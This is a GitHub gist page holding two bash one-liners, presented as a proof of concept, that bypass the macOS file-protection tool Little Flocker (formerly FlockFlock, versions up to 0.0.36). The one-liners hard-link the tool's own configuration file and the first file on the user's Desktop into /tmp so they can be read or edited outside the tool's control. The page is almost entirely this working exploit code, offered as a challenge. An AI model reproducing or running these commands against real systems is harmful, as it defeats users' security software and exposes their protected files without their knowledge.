Skip to content

Instantly share code, notes, and snippets.

@pwnsdx

pwnsdx/ff.sh

Last active Aug 18, 2016
Embed
What would you like to do?
Pwn Little Flocker in 1 Bash line? Challenge accepted! (previously named FlockFlock) (<=0.0.36)
# View/Edit .flockflockrc
cd $HOME && __FILE=".flockflockrc"; ln -v "$__FILE" "/tmp/$__FILE"
# View/Edit the first file in the Desktop folder
cd $HOME/Desktop/ && __FILE=$(ls -p | grep -v / | sort -n | head -1); ln -v "$__FILE" "/tmp/$__FILE"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment